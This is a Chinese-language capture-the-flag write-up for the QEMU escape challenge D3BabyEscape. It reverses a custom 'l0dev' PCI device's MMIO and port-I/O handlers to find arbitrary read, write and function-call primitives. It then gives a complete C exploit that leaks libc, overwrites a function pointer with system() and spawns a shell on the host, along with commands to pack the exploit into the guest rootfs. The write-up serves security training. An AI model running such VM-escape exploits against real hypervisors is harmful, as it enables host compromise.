D3BabyEscape

[TOC]

  • 学完qemu逃逸后的第一题,这个题难点在于要逆向

题目分析

如何开始逆向

  • 首先根据-device启动参数知道设备是l0dev,接下来进行逆向。逆向当然不是看所有部分,我们只关心一些重点,也就是这些部分。通过search text找到所有含有l0dev的字符串然后逆向这些函数 alt text alt text
  • 这里有个小技巧,其实大部分mmio_read或者mmio_write这些函数的参数列表其实都是相似的,这里之前参考之前的一个题进行修改,事实证明确实如此 alt text alt text
  • 逆向有开源的东西时不要硬逆,看看有没有什么资源是现成的那就可以直接用

l0dev_realize函数

  • 可见mmio,pmio都有 alt text

l0dev_instance_init函数

  • 其实qemu都会维护一个结构体,这里的v1一般就是这个结构体的头部,因此可以根据此大致逆向出这个结构体是个什么,而且这个结构体一般都有buffer alt text

结构体

  • 逆向结构体的过程就是算算偏移,要自己体会 alt text

mmio_read函数

  • 如果可以控制offset,就可以任意地址泄露 alt text

mmio_write函数

  • 发现addr=128可以控制offset的值
  • addr=64这个看的很奇怪,其实就是根据结构体头部+0xd48来执行这里的函数,然后将buf作为rdi,就是一个任意函数执行 alt text

pmio_read函数

  • 复制值666就可以让magic=1 alt text

pmio_write函数

  • magic=1可以任意地址写 alt text

exp分析

  • 有了任意地址读和写,任意函数执行,这个题就很简单了
  • exp没什么好分析的,注意如何使用libc中的函数,从Dockerfile里面看到libc版本然后手动找偏移就行了 alt text alt text
  • 通过info pci找到pmio的端口 alt text
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>

char *mmio_mem;

size_t mmio_read(size_t addr)
{
    size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
    return *(mmio);
}

void mmio_write(size_t addr, size_t val)
{
    size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
    *(mmio) = val;
}

#define IO_PORT 0xc000
size_t pmio_read(size_t addr)
{
    size_t pmio = IO_PORT + addr;
    return inl(pmio);
}
void pmio_write(size_t addr, size_t val)
{
    size_t pmio = IO_PORT + addr;
    outl(val, pmio);
}

int main()
{
    int mmio_fd;
    size_t libc_addr = 0, system_addr;
    
    // Open and map I/O memory for the string device
    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    if(iopl(3) == -1) /* Apply to system for accessing the port */
    {
        perror("iopl");
        exit(EXIT_FAILURE);
    }

    mmio_write(128, 0x100);
    libc_addr = mmio_read(4);
    libc_addr = libc_addr - 0x460a0; // srandom offset
    printf("libc_addr: %#lx\n", libc_addr);
    system_addr = libc_addr + 0x50d70;
    //让magic的值为666
    pmio_write(0, 666);
    pmio_read(0);
    //覆盖rand_r为system,任意函数执行
    pmio_write(20, system_addr);

    mmio_write(64, 0x6873);
    
    return 0;
}
mkdir exp
cp ./bin/rootfs.img ./exp/
cd exp
cpio -idmv < ./rootfs.img

mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static 
find . | cpio -o --format=newc > rootfs.img
cp rootfs.img /home/zp9080/attachment/bin